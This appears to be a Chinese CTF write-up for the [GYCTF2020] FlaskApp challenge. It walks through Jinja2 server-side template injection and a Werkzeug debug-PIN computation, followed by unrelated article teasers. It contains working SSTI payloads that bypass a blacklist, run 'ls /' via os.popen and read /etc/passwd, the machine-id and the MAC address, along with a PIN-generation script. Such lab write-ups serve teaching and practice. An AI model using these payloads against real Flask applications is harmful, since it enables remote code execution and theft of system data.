BUU41 [GYCTF2020]FlaskApp1【SSTI】

news/2025/2/26 7:44:00

题目: 

 加密处没啥事,但是解密的地方提交{{7*7}}就会返回报错界面,顺便把代码也爆出来了

text_decode = base64.b64decode(text.encode())

先将字符串 text编码为字节对象,然后使用 base64.b64decode 函数对这个字节对象进行 Base64 解码操作,报错的原因也就是解码没成功,将{{7*7}}进行base64编码后输入

 可能是过滤了{{ }} 把 {{ }} 去了还是nonono

试试7+7,成功 。。?

具体流程:

1.套模板,发现被过滤了字符,查看源代码

2.列目录

解法一:SSTI

payload1

读取app.py查看源代码,看看过滤了哪些函数

{{config.__class__.__init__.__globals__['__builtins__'].open('app.py').read()}}

在blacklist中发现过滤了os,import,flag,eval等,利用拼接或者十六进制编码绕过

{{config.__class__.__init__.__globals__['o'+'s'].listdir('/')}}

 读取flag.txt 注意1.flag要拼接    2.文件前面要加 / 否则找不到文件 

{{config.__class__.__init__.__globals__['__builtins__'].open('/this_is_flag.txt').read()}}

payload2

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}

来逐句分析:

{% for c in [].__class__.__base__.__subclasses__() %}

[ ]就是空列表,[].__class__就是空列表的类也就是list,[].__class__.__base__.__subclasses__()就是object的所有子类,for循环遍历子类,此时c就是每一个子类

{% if c.__name__=='catch_warnings' %}

如果有一个子类的名字叫做catch_warnings的话

{% c.__init__['__globals__'].open('app.py','r') %}

调用c中的init类及其内部的子函数

{% endif %} {% endfor %}

结束if或者for语句的时候要加上这段

 也就是说这种payload好处在于不用查看subclasses()[]中哪个子类含有init函数

同样还是出现源代码

 列出目录

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
#遍历c.__init__.__globals__中的所有值(也就是values())
  {% for b in c.__init__.__globals__.values() %}
#判断变量 b 的类型是否为字典类型,{}表示空的字典对象
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

 打开this_is_flag.txt,利用字符串反写绕过

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
#'txt.galf_eht_si_siht/'[::-1]:对字符串进行反转操作,得到 'this_is_the_flag.txt'
{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}
{% endif %}
{% endfor %}

直接出flag 

解法二:PIN

从这看的:[GYCTF2020]FlaskApp - 跳河离去的鱼 - 博客园

读取debug控制板的pin码

pin码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式

想要拿到pin码需要知道: 

  • 1. username,启动这个flask的用户名,在/etc/passwd
  • 2. modname,默认值为flask.app
  • 3. appname,默认值为Flask
  • 4. moddir,flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
  • 5. uuidnode,当前网络的mac地址的十进制数,任意文件读 /sys/class/net/eth0/address
  • 6. machine_id,docker机器id
  • docker:/proc/self/cgroup
    linux:/etc/machine-id

get_machine_id() :/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值
假如是在win平台下读取不到上面两个文件,就去获取注册表中SOFTWARE\Microsoft\Cryptography的值 假如是Docker机 那么为 /proc/self/cgroup docker行 

1.获取username: 查看flask用户,用户名为flaskweb(在最后一行)

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
  1. __mro__[-1]
    • 通过索引 -1 取出元组的最后一个元素,也就是 object 类,因为 object 是 Python 中所有类的基类。

2.获取moddir:报错信息显示

3.uuidnode: 获得机器的mac地址(十六进制),将其转换成十进制(去掉冒号再转啊笨蛋)

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}

4.machine_id:获得机器id 

{% for x in {}.__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }}
	{%endif%}
{%endfor%}

网上搜的计算pin脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '218117161077153',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

 点击这里进入调试模式,输入PIN

输入口令

os.open()和os.popen()傻傻分不清,哎

os.open()是读取文件用的,os.popen()是执行系统命令的 


http://www.niftyadmin.cn/n/5868325.html

相关文章

【多语言生态篇三】【DeepSeek×Go:高并发推理服务设计】

第一章:项目背景与选型考量 1.1 DeepSeek推理服务的业务挑战 日均请求量突破1.2亿次(峰值QPS达38万) 典型请求特征:50ms超时限制 | 10KB输入+2KB响应 流量特征:工作日周期性波动(早10点至晚8点负载增长300%) 1.2 Go语言脱颖而出的五大优势 (敲黑板!这里用餐馆厨房…

自动驾驶两个传感器之间的坐标系转换

有两种方式可以实现两个坐标系的转换。 车身坐标系下一个点p_car,需要转换到相机坐标系下,旋转矩阵R_car2Cam,平移矩阵T_car2Cam。点p_car在相机坐标系下记p_cam. 方法1:先旋转再平移 p_cam T_car2Cam * p_car T_car2Cam 需要注…

【JavaWeb13】了解ES6的核心特性,对于提高JavaScript编程效率有哪些潜在影响?

文章目录 🌍一. ES6 新特性❄️1. ES6 基本介绍❄️2. 基本使用2.1 let 声明变量2.2 const 声明常量/只读变量2.3 解构赋值2.4 模板字符串2.5 对象拓展运算符2.6 箭头函数 🌍二. Promise❄️1. 基本使用❄️2. 如何解决回调地狱问题2.1回调地狱问题2.2 使…

【SpringBoot】——分组校验、自定义注解、登入验证(集成redis)、属性配置方式、多环境开发系统学习知识

🎼个人主页:【Y小夜】 😎作者简介:一位双非学校的大三学生,编程爱好者, 专注于基础和实战分享,欢迎私信咨询! 🎆入门专栏:🎇【MySQL&#xff0…

【uniapp】上传文件流图片

需求:从接口下载指定文件,把这个文件再上传到后端。 背景:文件的上传、下载接口都是现有的,原本在pc端下载使用的responseType为blob,在uniapp不支持。如果按照原本的方式请求接口,返回的值会是字符串&…

【算法基础篇】-字符串

字符串篇 一、最长回文子串二、二进制求和三、字符串相乘今日分享这里 一、最长回文子串 最长回文子串 给你一个字符串 s,找到 s 中最长的 回文 子串。 讲解: 我们这里使用的是中心扩展方法,其实类似于暴力枚举,但是时间复杂度…

Java集合性能优化面试题

Java集合性能优化面试题 初始化优化 Q1: 如何优化集合的初始化&#xff1f; public class CollectionInitializationExample {// 1. 合理设置初始容量public void initializationOptimization() {// 不好的实践&#xff1a;使用默认容量List<String> badList new Arr…

Java23种设计模式案例

目录 一、概述 二、创建型模式 (Creational Patterns) 单例模式 (Singleton Pattern) 工厂方法模式 (Factory Method Pattern) 抽象工厂模式 (Abstract Factory Pattern) 建造者模式 (Builder Pattern) 原型模式 (Prototype Pattern) 三、结构型模式 (Structu…